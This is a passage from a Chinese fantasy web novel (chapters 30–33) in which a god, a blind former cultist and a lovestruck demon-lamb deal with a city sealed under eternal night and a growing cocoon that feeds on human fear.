地轨司机停在出城前的最后一站,叼着烟用力按喇叭:“到了啊到了啊,就这一站,后边儿没了,赶紧都下车!终点站不上人啊!”
现在能出城的人非富即贵,他每天运来载去这么多可以逃出去的上等人,自己却因为见底的积蓄和一对拖油瓶儿女走不了,进而看谁都不顺眼。
该死的有钱人。该死的永夜。该死的不见城。该死!
“劳驾。”偏偏有不长眼的要来触霉头,“请问您是一直在这里工作吗?”
司机不耐烦地咬着烟回头:“你谁啊你——”
哎哟。
那实在是张过分标致的脸蛋儿,举手投足弱不禁风,叫人忍不住去想在这样恶劣的环境下怎么能活下来,需不需要……需不需要一些依靠和保护。
司机取下烟头,语气转得殷勤:“我干了七八年啦,永夜之前就一直跑这条线,对这块熟得很。小美人儿,想问什么?”
少年长睫一眨,笑意温婉:“我是想问问您,这儿的城界是不是有变过?我好像上次来的时候,车站离出口没有这么远。”
“嘿,还真是。我同事都说没变化,可我观察过,前俩月阳光还能照到那边的便利店——就是那儿,看见没?我一直在他家买烟——这个月也黑了!每次人家下车都抱怨我不给送到目的地,这跟我抱怨有什么用啊?车站又不挪窝,是外城那帮傻佬把出口往远了迁……”
少年得到情报,向回走去。
他走路很慢,似乎视力不好;明明有双美丽的眼睛,却不澄澈,和这里的天色一样暗蒙蒙。
“先生,我问过了。”楚情一一汇报,“这里的居民也可以确认,永夜的范围在扩大。”
姜宵看着出城通道熙熙攘攘的队伍:“茧快要孵化了。”
这枚孕育着异神的“茧”选择在不见城的地下深井孕育,它所需要的营养太过庞然,几乎吸干了整座城市的光和热。
起初只是昼夜和季节紊乱,很快永夜彻底降临。但自然界的养料仍然远远不够,因而渎神会先后制造了“银色山泉号”事件和海洋馆事件,通过汲取人类的信仰和恐惧,用这些强烈情绪进一步饲育快要到成熟期的“茧”。
现在,离它的孵化之日越来越近,它所需的养分也越来越多,永夜便向不见城的外缘、向其他地方伸出魔爪。
异神诞生之时,还不知会沦为怎样的世界末日。
姜宵对楚情道:“你是他们的核心成员,你应该知道确切时间。”
楚情有些忧伤地摇摇头:“大主教察觉到我有要逃跑的心思后就一直防着我,带您去长廊的那天也是我最后一次见到‘茧’。后来,他们就不让我靠近它了。”
姜宵想了想:“那个主教,给你们许诺了怎样的好处。”
楚情一怔:“什么?”
“个体付出信仰是需要回报的。既然他能招募到这么多成员为异神卖命,那么,在他口中,异神应当比现在的……神,更能够给你想要的东西。”祂的声音没有感情,好像在谈论无关之人。
楚情的嘴角苦涩地向下,低声道:“他说,祂能创造一个没有悲伤和分离的新世界……”
“不会有那样的世界。”姜宵冷酷地、直白地打碎他的幻想,“悲伤和分离是生命的基石。”
没有哪一段命运全是坦途,没有哪一个世界总是完满。
就算是拥有真正创世力量的诸神之神也做不到。
楚情在短暂的愣怔后怅然微笑起来:“您说得是。”
姜宵不会安慰他,视线停在不远处一家人身上。
他们推着个大号航空箱,里面有只黑乎乎的动物,不知是猫是狗。
小东西在里面不安地转圈,孩子试图从门缝里塞零食,蹲下来和它说话。父亲忙着和前面关卡的工作人员交涉,母亲怀里抱着块棉被,应该是过了检查之后给箱
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子盖上保暖用。
不见城的居民自身都难保,能带着宠物一块儿出城不容易,这家人很负责。
但神明关心的不是这个。
这家人还算顺利,很快通过审核,还很有仪式感地互相击掌,推着大包小包的行李和航空箱往前走。
门的另一边,就是春暖花开。
一撮黑乎乎的毛毛从箱子缝隙掉出来,被风卷着飘啊飘,飘到姜宵眼前。
祂伸手捉住,再摊开时,哪儿还有什么小动物毛毛,一株白玫瑰静静躺在掌心,低温为它量身镀上一层冰壳,流光溢彩着等待神明的垂怜。
姜宵抬眼看过去,航空箱轮子在雪地上留下的痕迹也从车辙变成了……
羊蹄印。
像边缘饱满、但有个小豁口的花瓣,一朵一朵散落得到处都是。
故意留下这种标记的还能有谁,暗示已经明显到成为明示。
祂蹙眉。
小崽子是祂亲自送回童话牧场的,怎么跑这儿来了?
还混成别人家的宠物准备出城。
这是什么意思。
不要再做祂的羊,打算成为别人的了吗?
另一边,等着换班的地轨司机正想在驾驶座里打个盹,外面忽然吵起来。
他骂骂咧咧探出头去,音量够大了,还是瞬间淹没在人群的抗议和惊恐中。
司机揉了揉眼睛,以为自己还没醒,不敢相信看见了什么。
一个人拖着疲惫的身躯,手握通行证,眼中满是对城外的渴望。绿灯亮起,他穿过闸机,正要奔向幸福生活,却被无形的墙猛地弹了回来。
他呆了呆,怀疑是幻觉,不信邪地再次尝试。
也再次被无情地推回去。
他的脸色变得惨白。
“怎么回事?”
“哎,前面那人堵那儿干嘛呢?”
“你不走我们还要走啊,让开!”
后面人推开他自己上前,可也遭遇同样的结果。
接着是第三个、第四个……
恐慌如病毒般快速蔓延开来。
拿着通行证的居民排成长龙,满眼焦灼等待着逃离,但等来最惨痛、最绝望的结果。
永夜的囚笼终于上锁。
不见城里的人,出不去了。
30.第 30 章
城墙下聚集的人越来越多。
最初只是持当日通行证准备出城的市民,后来是察觉异常的工作人员,再然后消息长了腿疯传,附近居民纷纷赶来围观,连外城的人也凑热闹。
人人都想试一试,人人都想看一看:是不是真的,只要钉着不见城的身份卡,就再也出不去了?
很快证实了这与身份卡无关。
只要肉身处在不见城城内,甚至包括那些一时好奇进入的外城人,永夜对所有人一视同仁地布下天罗地网,插翅难飞。
人群的情绪在短时间内迅速崩盘。有人扯着嗓子质问,有人试图翻越隔离带(立刻被弹了回来,当然),有人拖家带口哭喊。
进出城的工作人员原本只负责日常管理,哪里有过应对此种严重冲突的经验,除了报警和声嘶力竭地安抚不可能被安抚的众人,什么也做不到。
临时拉起的警戒线一次又一次被推倒,无力的广播淹没在沸腾的怒骂中。不多时,言语争执升级成肢体冲突,没有武器便就地取材,棍棒、铁锹、锤子……连无辜地靠在墙边的扫把都成了凶器。
不见城与外界的屏障有多牢不可破,人们的理智就有多摇摇欲坠。
空气中弥漫着森冷的惶恐,彻底的全局失控也许是下一分钟,也许就是现在。
然而越混乱,越适合有心人浑水摸鱼。
夜晚和极寒是不变的,但暴风雪不是。在没有交通工具和特殊防护的情况下,大多数人没办法在室外待超过半小时,而城墙附近相当冷清,没处可去。
出城通行证有效时间只有24小时,大多数人舍不得就此离开,仍抱着幻想:万一过会儿就好了、就能出得去了呢?
即便手机上下一□□风雪的预报倒计时一分一秒缩短,聚在这儿的一两百号人没一个舍得离开。
地轨司机转转眼睛,下了车,找到一对年迈的老夫妻,他们缩在背风带瑟瑟发抖,看起来在寒风中坚持不了多久了。
他殷勤道:“大爷大妈,你们在这儿多冷啊,正好我知道两公里外有个活动中心,免费空调免费热水!我先送你们去那儿休息吧?”
合适的温度和无风的天气里,两公里对于两个老人家来说并不算远。
但在体力本就严重下降、暴风雪即将来临的当前,那就是遥不可及。
老两口互相搀扶,感激道:“谢谢你,好心的小伙子!”
“您客气。”司机张开五指,嬉笑道,“只要五十!”
老人大惊:“你开的什么车啊,地轨不是五块一次吗?”
“这段路我可熟啊,私家车不让进的,只有地轨能开过来。”司机一脸志在必得,“老人家,你们可得好好掂量掂量,要是冻出毛病来,可就不是一个两个五十能解决的了!”
老人们对视一眼,无奈地掏钱。
地轨司机如法炮制,几十分钟前送来满满一车人,几十分钟后又重新装了满满一车和满满的私人钱包,得意地向着活动中心飞奔。
姜宵原本的打算是留在城墙这边观察情况——祂也试过了,自己是出得去的,当然;永夜和永夜所供奉的异神还没有强大到可以限制神主的地步——在看到带宠物的那家人也被哄骗上轨道车后,改变了主意。
楚情什么都不问,什么都不说,祂去哪里就默默跟去哪里。
神明想起自己的左膀右臂,蜚蜚会有意见、建议乃至质疑,而卡布卡的嘴停不下来。
相比之下,安静温顺的楚情的确是个理想的随从。
可能是怕自家宠物吓到别人,也可能是怕被吓到,上车之后那家人一直用毯子把航空箱盖得严严实实。
这只能阻挡凡人探知的视线,别说神明,连楚情都“看”得到里面有什么。
“一只黑色的小绵羊。”楚情小声,“现在外面都喜欢养这种宠物了吗?”
他总用“外面”来代指渎神会之外的人。好似他在渎神会的时间与世隔绝,是种精神和□□的双重牢狱。
楚情想起什么,捂住嘴压住一声小小的惊呼:“哎呀,先生养的也是小黑羊。”
姜宵不置可否。
何止祂“也”养了小羊羔呢。
那家人养的小羊羔,就是祂的。
巧了不是。
专门挑来做家庭宠物的羊会比普通绵羊的体型小一圈,航空箱里的这只又故意伪装成更小的月龄,个头和柯基差不多。
小东西趴在“小主人”准备的软垫上装睡,甚至不敢睁眼和箱子之外的神明对视,唯独残缺的小尾巴抖得厉害。
做了亏心事的羊都这样。
暴风雪准时袭来,城墙边的人撑不下去了,纷纷举着钞票投降。司机辛苦冒雪运了好几趟,才把浩浩荡荡百来人全送到活动中心。
来了之后众人傻眼了,活动中心的确是活动中心,但应该加个“前”字:已经废弃很久了。
别说司机承诺的空调和热水,连个坐的地方都没有,窗户还漏风,靠窗那块没多久积起一层雪。
人们想找司机讨个说法,但发了一波横财的人早就溜之大吉。
好在,警察和城市管理局的人没多久赶到,带来基本物资、必备药品和沟通协商。
调查和解决屏障的事需要时间,大多数人不愿返回家中,只好妥协在这个破破烂烂的活动中心暂时歇一晚。
活动中心的设备、器材早就撤走了,一楼大厅荒凉得就剩个地板和墙,一百多人热腾腾地挤在一块儿七嘴八舌,反而没那么冷了。
无论是姜宵还是楚情,都不曾以“同类”的身份面对如此多的人类。
有边等微波炉边互相闻饭菜香的阿婆;
有为了多接几瓶热水吵起来的大叔;
有觉得像动画片里大冒险而格外兴奋的小孩;
有联合起来到处找不知去哪儿玩捉迷藏的孩子的家长;
有互相指责对方非得选今天出城而吵起来的年轻情侣;
……
到处闹哄哄、乱糟糟,堪比一千只卡布卡同时自说自话。
可向来喜静的神明并不觉得厌烦。
祂想,原来这就是自己创造过后自由生长的,最真实的人间。
哪怕饱受灾难折磨,也依旧被热爱着。
*
永夜降临后,人们无法再用光线和温度的变化来判断时间流转,只能依赖电子计时器来辨别时间推移,维持正常作息。
标准时间晚上十点,大多数老人和孩子该休息了,活动中心关闭主光源,留了几盏应急灯。
管理局发了一次性睡袋,楚情对这种服饰他人的活计得心应手,摸索了下使用方法,很快为姜宵铺好。
然后又有些不确定:“先生……也睡觉吗?”
他是知道的,关于姜先生不是人类这件事。这并不需要用力辨别。
没有一个人类像祂那样高洁空远,永远平静,永远优雅。
也不会有人类能如此美丽,叫日月黯然失色,连天地也为之折服。
楚情无法不去着迷地仰望祂,如仰视湖中月,山巅雪。
“不用,你睡吧。”
姜宵的语气总是听不出情绪变化,或者很难说祂真的拥有「情绪」这种东西。
但楚情还是察觉到丝线般细微的差异——同熄灯之前相比。
他端正地跪坐在睡袋旁,双手放在膝
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上,也静下来感受片刻。
不是姜先生的情绪变了,而是那些人类。
关灯后,睡觉前,没了欢声笑语打岔,没了忙忙碌碌分心,人们不禁再度想起城墙与屏障。
想起出不去的不见城,与逃不开的永夜。
起初是模糊不清的低声交谈,直到一个孩子细细地哭起来。
他说,妈妈,我们是不是会死在这里?
孩子妈妈连忙安慰,等睡一觉起来就能出去啦。
但听见的人都沉默了。
谁能知道,明天、后天、以后,会不会都这样呢?
不见城的人出不去,外面的人更不敢进来,要不了多久物资就会匮乏,然后……
没人敢想下去。
才平息没几个小时的恐慌,再度无声无息地伸出触手吞噬每个人。
恐慌发作能够直接反映在生理上,很快有人大声呼叫在隔壁房间休息的医护人员,说有人晕过去了。
这一喊让其他人更加惊惶,紧绷的集体心理防线随时可能全面崩溃。
再这样下去,就算没有渎神会的人提前布置,“茧”也要被这如此美味的极端情绪吸引过来主动狩猎。
神不愿再目睹无妄之灾在自己的子民中发生。
上次回神域会见空聆尊者,老师拐弯抹角说了一句话:
根据法则,神主不能直接干预碎片世界的具体事件。
但法则没有禁止间接的。
有时候,就需要“拐弯抹角”一点儿。
祂有的是办法确保人类看见自己在做什么,张开手,掌心里有一团蓝莹莹的光。
光团四散扭动,逐渐凝成海月水母的形状。
水母一张一合伞体,在空气中奋力划拉着触手,从祂手中飘下,落地化作两三岁的人类女孩。
小姑娘仍是曾经那副双马尾公主裙的打扮,乍一看和在海洋馆初见时没有差别,只不过身上多了层飘忽的、萤火一样的水亮光晕,昭示着她不再是普通人类。
好不容易从水母状态变回人形的小苔丝伸了个懒腰,动动小手小脚确保它们还在,然后向神明问号:“啵!”
她本就年纪小,又不再是人类,已经不会说话了。
但这并不妨碍她与神明之间的沟通。
神明对幼崽总是有额外的耐心与温柔,尽管这温柔仍像雪一样静默无声,甚至看似冰冷。
祂垂眼看着孩子,吩咐:“去吧。”
楚情无法直接看到她,只是这特别的个体存在感实在很鲜明。他惊讶道:“这是……”
小苔丝也好奇地瞅了瞅这个没见过的哥哥,没忘神明交予的任务,转身向其他人跑去。
人们看得见她,看不见她身上特殊的光芒,人人都在愁自己的前路和明天,谁也没在意这么小的孩子怎么到处乱跑。
苔丝哼着童谣,提着裙边,脚步轻快地跑过或躺或坐、面容却是同样忧愁的人群,像个穿梭花丛自由漫步的小精灵。
她的小手拂过人们身侧,荧蓝的光点宛若乐章注入每个人的身体。
起初他们的表情还有些茫然,很快躁动和焦灼被轻柔安抚,绷紧的神经松弛下来,勒在钢索上的心也变得镇定。
细碎的议论和哭泣声越来越低,伴随着小苔丝一手叉腰、一手比“耶”的胜利姿态,暴雪中的活动中心沉入梦乡。
大功告成的小幼崽欢快地跑回来,对着神明仰起小脸:“啵~!”
“做得很好。”神明冲她伸手,“辛苦了。”
苔丝的身体变轻、变透明,重新成为小水母栖息在祂手中。
至此,一场随时会引来“茧”的危机轻松化解。
31.第 31 章
贴心的小孩睡觉了。
不贴心的还没有。
姜宵看向那个最初哭着问妈妈“我们会不会死在这里”的孩子,也正是带着航空箱的那个。
似乎是为了缓和孩子的情绪,小羊羔已经被放出来,正被孩子抱在怀中。
他还在小声啜泣,但眼皮已经很重了,双手还紧紧抱着小羊,好像睡着也不愿分开。
被抱着的那个显然没这么自在,一双黑豆豆似的眼睛在昏暗的光线下呈现出奇异的金色,看左看右,就是不敢和姜宵正面对视。
很明显清楚自己而且做错事。
姜宵的视线从小羊因理亏而垂下的尾巴,移到孩子亲密抱着小羊的手,抿起唇。
楚情仍然跪坐着,他对保持这个难受的姿势很有心得,非常想知道神明会如何处理自家小羊“投靠”别人。
如果是大主教,他想,就像自己逃到姜先生身边,大主教一定会将这个举动归结于“背叛”吧。
上下级,朋友,主人和宠物,家人,或者更旖旎的亲密关系中,都会有背叛。
不知道在姜先生的认知中,小羊属于哪个类别呢?
姜宵站起来,走向那家人。
却没有引起任何人的注意。
和此前没人留意小苔丝奔跑不同,这回人类的感官不再是有选择地被屏蔽,而是全部。
或者说,屏蔽的不仅是感官,而是真正的……「全部」。
时间静止了。
唯有神明与祂选中之人,能免于冰封。
小绵羊仰着脑袋,看着神明一步步向自己走来,忍不住回想起初见那日,他也是这样小小一只,痴痴地看着那金光环绕的纯白身影。
祂仍和当年一样昳丽威严。
也仍和当年一样叫他……那样心动。
莲影一闪而过,神明站定,垂眸望着他。
小羊知道这种时候祂是绝不会先开口的,只有自己退让的份儿,从一动不动木偶似的孩子臂弯中钻出来,讨好地用脑袋蹭蹭祂:“咩。”
神的表情没有一丝波动。
完蛋。小羊在心中哀嚎。
这是不高兴了,这是生气了吧?连自己撒娇都没用了!
他半是提心吊胆,半是不情不愿,从更容易逃避制裁的羊形态变回人形。
期间还犹豫了下,是不是变成小水母那样小小只的幼崽,更容易让神明心软。
基于这样那样的考虑,最终还是选择了少年期。
撒迦利亚没有刻意收起卷曲的羊角和灵活的恶魔尾巴——不如说,他是刻意保留下来的,带着这份富有冲击性、间杂着暗暗挑衅意味的标记,不再逃避对视。
古铜色的皮肤勾勒出少年身上褪去稚气的肌肉线条,青涩与成熟最完美的结合状态,如同一枚诱人采撷的禁果,强烈的非人感扑面而来。
可惜的是,他的诱惑也好、危险也罢,在神明面前全要大打折扣。
姜宵已经不再像从前那样需要低头看撒迦利亚,如今差不多可以与少年的视线平齐。
撒迦利亚毫不犹豫率先服软:“哥哥,我错了。”
他早就发现了,外表冷冷淡淡的姜宵其实对这个依赖又亲昵的称呼很没抵抗力。
几乎在他软声念出来的同时,神像的冰壳有所松动。
聪明的小孩要懂得趁虚而入,眨巴着眼睛咕哝:“我不是故意要跑出来的,我……我只是不放心你。”
“……不放心什么。”结尾的语气简直像一个问号了。
祂是创造、掌管、庇护三千世界的诸神之神,向来只有别人敬畏祂、膜拜祂。
还不曾有人“不放心”祂。
“他。”撒迦利亚意有所指,然后又瞥了眼不远处的楚情,“……还有他。”
楚情幸运地没有被神明隔绝在静止的时间之外,不仅还能活动,甚至听得见他们的谈话。
此时蓦地被点到名,跪在那儿很无辜地歪了歪头。
撒迦利亚瞄他一眼,撇了撇嘴。
楚情柔弱而漂亮,那家伙强壮又野性。
跟他们一比,自己好像也没有什么特别突出的优势。
为什么所有人都要和他抢,为什么所有人都在觊觎神明?
要如何才能得到祂的心呢?
要怎么做,成为什么样的人,才能让那双美丽的蓝眼睛只看向自己?
少年小撒之烦恼,大抵如此。
*
姜宵解除时间的冻结,转身回原本的位置。
撒迦利亚连忙挥了挥手为那家人留下一只黑色的小狗,然后垂头丧气跟在自己真正的主人。
楚情友好地冲他笑了笑。
撒迦利亚转开脸,不想和情敌离太近。
夜晚的狂风怒号,卷起雪浪拍打着羸弱的窗棂,这是两年多以来不见城的居民最熟悉的动静。
一百多人挤在大厅里睡得并不安稳,有人打呼噜,有人说梦话,有人摸黑起夜,年久失修的地板嘎吱作响,混沌的光线映出一张张疲惫而失望的脸。
角落里,撒迦利亚盘腿坐着,双手捧着睡着的苔丝。
即便在睡梦中,小水母依旧蹬着触须企图到处遨游,好几次差点从他手里滑下去。
楚情虽目盲,但很有眼力见儿,睡袋推到离另外二位远一些的地方躺下。
撒迦利亚再一次捞起梦游到掉下去的小水母,铺开从航空箱顺来的小毯子放在腿上,让它安稳地呆在那儿:“哥哥为什么带上他?”
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就算蜚蜚和卡布卡都有别的任务,神明麾下可用之才千千万,怎么也轮不到一个刚投奔不久、仍立场不明的新人。
姜宵看似答非所问:“即便他人在这里,依旧被‘茧’束缚和连结,并未真正逃离。”
楚情是渎神会的核心成员,是创始人大主教过去最信赖的手下之一,再加上与“茧”的特殊联系,没有比他更适合调查永夜之谜的人选。
少年托着腮,凝视着神明被幽微光芒笼罩的脸庞,那样沉静、皎洁。
他问:“哥哥很担心那个‘茧’吗?——还有它会孵化出来的东西?”
“不是‘担心’。”姜宵说,“会很麻烦。”
永夜和“茧”先后两次吞食大量人类的恶性事件已经严重影响到了这个碎片世界的正常运行,它的“核”因此变得薄而脆,再这样下去,一旦“核”彻底崩裂,神域只能将它回收——一个碎片世界的坍塌会成为有污染性的连锁反应,在牵连到其他碎片世界之前,神域必须及时止损。
神明说,不担心。
但其实撒迦利亚知道的,祂当然会担心。担心这个一手养育的世界,担心里面不计其数的生灵。
他们都是祂的孩子。祂怎么可能不关心他们?
祂从来表现得对任何个体漠不关心,冷酷无情。
可祂明明最心软,拥有世上最壮阔与深邃的「爱」。
可此时撒迦利亚望着祂,想的只有要如何独占那些全部的「爱」。
小恶魔眸色一深,深色帷幔凭空落下,他们两人与外界完全分割开来。
“哥哥。”少年把小水母连同毯子都放到旁边,靠近神明,“你的身上是不是从来不会留疤?”
“是。”
别说留疤了,从古至今,也没人伤到过祂。
少年沉思片刻:“那会有什么办法能留下痕迹吗?”
“没有试过。”神明有些困惑,“为什么问这个。”
撒迦利亚的视线落在祂的手腕处。
上一次地狱之主咬过的地方。
然而那片皮肤光洁白净,如新生,如初雪。
好似从不曾被玷污过。
“我……”少年喉头动了动,有什么欲念啃噬着心脏,让他无比迫切地想要讲出来,却只能堵在嗓子里。
他做了个深呼吸,生生咽下一场海啸,而后将二人之间的距离缩到极限,指腹摩挲过咫尺之遥的玉白颈侧,双眸在暗光下亮得惊人。
然而声音极尽轻柔。
“哥哥。”他悄悄地,像在小孩子说一桩天真的秘密,“你知道什么样的印迹最漂亮吗?”
他在那双蓝眼睛里看见自己的倒影。
此刻,就只有自己。
“……是吻痕。”
32.第 32 章
还有一点点。
就差一点点了。
撒迦利亚收回手,俯身,一寸一寸缩短两人之间的距离,膝盖触及神明的衣角时下意识屏住呼吸。
他的每一步都在试探神明容忍的界限,然而姜宵坐在那里,面对这般胆大妄为的僭越之举仍是一动不动,仿佛一尊冰琢雪就的神像。
这是默许吗?少年想。
没有拒绝,是不是就是可以这么做的意思?
魔族的小尖牙克制不住悄悄冒出来。
如果姜宵是个普通人类,那么几秒钟之后会因无度地被索取而死在魔鬼的利齿下。
但若是诸神之神的话。
小恶魔只想将自己的全部双手奉上。
少年的心脏跳动得愈发猛烈——假如它同人类的有相似构造和作用的话——随时要冲破薄薄的肌理与骨骼,恨不能同对方的心跳同步缠绵才好。
颈侧的吻痕,可比手腕的咬痕要更亲密、更放肆得多。
他想起那位讨人厌的同族,想起对方看向自己时的嚣张和轻蔑,看向神明时的迷恋和侵略。
少年眼神又暗几分。
他伸出手,停在距姜宵肩膀的几厘米之上,指尖因紧张而轻轻颤栗,却迟迟不敢落下。
目光扫在那片近在咫尺的冷白肌肤,在上面留下独属于自己烙印的欲望不停叫嚣,喉结动了动,如此忐忑,又如此渴望。
给我好吗?
把那个几乎不可能存在的位置赐予我——让我成为独一无二的那个人,好吗?
“你不该想。”
撒迦利亚的动作顿住。
他已经离祂太近太近,近到那些闪烁着淡淡金光的发丝掠过他的鼻尖、唇角。
自己一番内心戏翻滚到沸腾,可直至此刻,即便是此刻,祂的蓝眼睛依旧那样疏淡,没有涟漪,也没有余震。
平静的反应远比说出的任何言语更伤人,这清楚地意味着祂不可能抱有和他相似的感受,哪怕是分毫。
一盆冷水兜头而下,少年没有退让,僵在原处死死攥住拳。魔族的尖利指甲划破手心,在流出血之前又愈合。
“不能做的。做不了的。”祂看着面前咬紧牙关、浑身都在颤抖的少年,重复一遍,“都不该想。”
而后视线又稍稍偏移,落在虚空的一点,比起说教和劝阻,更像是解释:“注定无果之事,思与行皆是浪费。”
向谁解释呢。
是对年轻、无畏、奋不顾身的小魔鬼,还是对必须压抑、必须漠然处之、绝不能有一丝迟疑的自己?
撒迦利亚强迫自己镇定下来。
他收敛姿势跪坐在神明面前,像温驯的羊羔,或者虔诚的信徒。
“可是。”他俯首,前额贴在神明的手边,声音很轻,“爱不是一定要求个结果的事。”
第一次。这是他第一次如此赤裸地表达爱意。
过去他从不敢把自己的真情剖白,担忧没有结果,担忧会被忽略,担忧血海污浊之地滋长出的一颗纯净真心会被重新扔进泥潭里。
但在这个风雪呼啸、众人无声环绕的长夜,不可思议的勇气胜过了一切。
“爱不一定。”神明说,“可你是。”
撒迦利亚猛地抬头。
神明是如此了解他,在这一刻甚至胜过他自己。
他不是无私善良之人,不可能远远看着心爱之人幸福就已经足够。
他要什么,就要握进手里,禁锢在怀中。
爱的确不一定要有结果。
可他怎么可能不“求个结果”。
少年双膝并拢,正跪在祂面前,弓起背把脸埋进祂手里,寻求庇护的小动物似的,同更年幼时一样黏糊地、绵软地撒娇:“哥哥……”
姜宵总是拿这样子的他没办法的。
“我向你保证,我不会学坏的。”小恶魔喃喃,“我知道的,你把我带在身边就是怕这个。”
神明没回答。祂知道他还没说完。
“我不会变成那些邪恶的魔鬼……不会去兴风作浪,杀生造孽。我不想要那些,太低级,太无趣了。”
他抬眼,甜蜜的焦糖色双瞳在昏聩的光线下呈现出令人心惊的冷亮,宛若融化前骤然结冰的糖,边缘淡去的甜味包裹着深不见底的锋锐。
“……我只是,想让你成为我的。”
他的嗓音抖得厉害,不知是因忧怖又或是激动。从这个角度看得见脊背还残留着少年人独有的一点瘦削,突出的蝴蝶骨如坠下就会身亡的崎岖峰峦,又如可以扑碎所有的骇浪惊涛。
我会的。
从那时候起,我就对自己发誓。
无论有多困难,无论要付出多少代价,无论让原本的世界颠倒撕碎成什么样。
我一定会让你成为我的。
姜宵并拢食指和中指轻轻捂住少年的眼睛。
祂挡住那灼目的眼神,不再让他看自己。
亘古封存的冰雪,从不为谁融化。
可遇上义无反顾的烈焰,依旧会有被烫到的可能。
*
榆盛苑。
“咦?”卡布卡以一种违反人间物理定律的姿势蹲在椅背上,同时违背人间生物可能地扭头一百八十度盯着地面,“这是啥?”
被审问的樊蒙爆炸后,菌丝和孢子飞溅得到处都是,正当蜚蜚嫌弃地准备收拾时,它们又突然蠕动起来,好似重新获得了生命,朝同一个方向努力攀爬。
最终,聚成一团图案。
卡布卡看了会儿又嫌这个角度不够清楚,化作葵花鹦鹉大小的鸟儿拍拍翅膀飞起来,从空中俯视。
蜚蜚也转了好几个方向查看:“这是……”
“一
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种动物的脚印。”处刑者平铺直叙。眼前的白羽依旧闭合。
蜚蜚:“什么?”
处刑者:“脚印指的是踩踏后……”
蜚蜚:“……我问你是什么动物。”
以前觉得卡布卡够难沟通了,好嘛,强中自有强中手。
“哺乳动物,偶蹄类,羊。”处刑者一板一眼,“——绵羊。”
站在原地的右使和盘旋在空中的左使看了眼彼此。
羊。还是绵羊。
他们所认识的绵羊……
“二位大人似乎有所猜测。”处刑者眼前的羽翼略略上扬,没有到可以露出双眼的程度,但这代表他很感兴趣,“是认识符合特征的嫌疑羊吗?”
蜚蜚对“嫌疑羊”这个用词一噎。
樊蒙的尸体——严格来说是组成部分——汇聚成羊蹄的轮廓,好似某种强烈的暗示,好比人死前用血在地上写出凶手的名字。
尽管缺口花瓣不一定百分百是羊蹄,尽管全天下的羊千千万万,蜚蜚还是确信一定和那个小崽子有关联。
这完全是客观合理的推测,而非私人偏见。嗯。
卡布卡用一张鸟脸怪异地对他挑挑眉:“那就……?”
蜚蜚沉重地点头:“看来是有这个必要。”
“那就”做什么?什么有“必要”?
处刑者看看左舵大人又看看右舵大人,白羽疑问地扬了扬。
他似乎被排挤了。
好在本人完全没感觉到。
童话牧场。
佟灵把笔放在嘴唇上撅着嘴,试图用上唇和鼻子夹住它,失败了好几次才勉强稳住平衡。
今天是周末,学校没课,宁槐有事来不了,老爸一如既往地忙,他无聊极了,一直盯着门口,期待着有谁能打破这份寂寞。
很快,铜风铃如他所愿叮叮当当响起来。
佟灵看清来人,眼睛一亮。
大多数时候陪同姜先生来看小迦的,都是那位不苟言笑的费助理,更活泼、话更多的卡助理来得很少。(佟灵有点儿好奇真有这个姓氏吗?)
不过,比起难以接近的费助理和更难以接近的姜总,佟灵还是喜欢跟卡助理打交道。
他们跳跃的、不受常规套路限制思维方式接近,相处起来很合拍。
虽然在小宁老师和费助理的口中,这是因为“你们两个实在太脱线了”。
卡助理的防风镜酷炫非常,看见佟灵羡慕的小眼神,主动借给他玩儿。
佟灵不太适应,走路差点撞墙上。
他一路歪歪斜斜引着卡助理来到小羊的VIP间,打开门后环视一圈,困惑地揉了揉眼睛——揉到了眼镜。
佟灵把防风镜取下来还给卡助理,看见后者脸上同样的震惊。
所以,不是他眼花了。
是真的。
33.第 33 章
活动中心。
一般情况下,即便亲信如左右使,也不敢贸然打扰陛下。
然而现在是紧急情况。十万火急的那种。
卡布卡用神识呼唤了好几次,神明才应允。
鹏鸟的大嗓门儿火急火燎钻出来:「不好啦!出大事儿了陛下!」
神主一如既往语气平淡:「说。」
卡布卡还在大呼小叫:「陛下陛下我刚才……不对,我现在在童话牧场呢!小魔羊居然不见了!我的神主我的天,您知道他去了哪里吗?」
原来是为了这个,而不是神域崩塌了。
「……在我这里。」神说。
神识沟通并非人类的手机通话那般直接听见声音,不知为何,卡布卡总觉得陛下一贯沉静的气息略有不稳。
不过这个回答还是出乎意料,卡布卡好奇道:「在您身边吗?」
在我身上。
祂想。
神明看着近在咫尺、两只前蹄搭在自己身上的小羊羔,思绪分岔地想了下,这一幕要是被蜚蜚看见,一定会暴跳如雷吧。
「哎呀,这小东西什么时候跑到您那儿的?没给您添麻烦吧?要不要我现在去把他带——」
祂不再解释——事实上这个情况也没法解释——干脆停止了神识的共鸣。
神的嗓音带着微微叹息:“够了吗。”
缩成猫咪体型的小黑绵羊不吱声,窝在祂身上嘤嘤哭泣。
这孩子被拒绝之后自暴自弃,连人也不要当了。之前的羊形态同样不怎么好,长得太快、太大一只,不如再娇小一点,最好能被抱在手里揣在怀中,走哪儿都不会被撇下。
如果撒迦利亚还是之前的少年体型,这时候几乎算是把祂扑倒、摁在地上,完全是强势的掠夺姿态。
可他现在是一只无辜更无害的小绵羊。小羊只是在撒娇而已。
神有点儿烦恼。
先前看着小家伙的人形有个十六七岁的模样,终于还是进入叛逆期了。青春期少年都是这样难以捉摸的吗?
祂摸了摸小羊羔头顶的卷毛:“为什么要有痕迹。”
撒迦利亚没想到神明会提起这个。的确,最初他还没说那些“想让你变成我的”之类的大话,而是表达自己想在祂身上留下痕迹——虽然这听上去更不对劲儿了。
小羊歪头,眼神懵懂。
“怕有一天找不到我吗。”神明的语调更轻柔了些。
小羊一只蹄子悬在半空,想落下去又怕踩到祂,同时也在紧张刺激地思考。
要怎么说?要怎么回应,才能更放低自己的位置,更淋漓尽致地表达毫无半点虚假的仰望与追随?
“痕迹不行。”神明早有决断,也无需等待他的回答,“但如果是记号。”
记……号?
小羊呆呆地看着祂。
神明摸摸他的小脑袋瓜,撒迦利亚不可抗拒地变回了少年形态,连衣着也按祂的喜好来,和在“银色山泉号”上类似,是个优雅得体的贵族小公子装扮。
唯一不同的是,胸针上的宝石不是冰蓝,而是光华流转的暗金。
不再像祂的眼眸。
而是他的。
少年被定身了似的,在神明伸手来取那枚胸针时除了眨眼什么都做不到,心脏在对方的指尖下激烈地跳动,看着祂摘下宝石,戴在左耳。
“……这样。”祂垂眼,“到哪里都能认出我了。”
诸神之神是世界的终极意志,连□□都只是一种形而上的演化,根本没有刺破或者愈合一说,谈何受伤。
但祂为了他,有了一枚镶嵌在身体里的耳钉。
那是只属于他的,举世无双的记号。
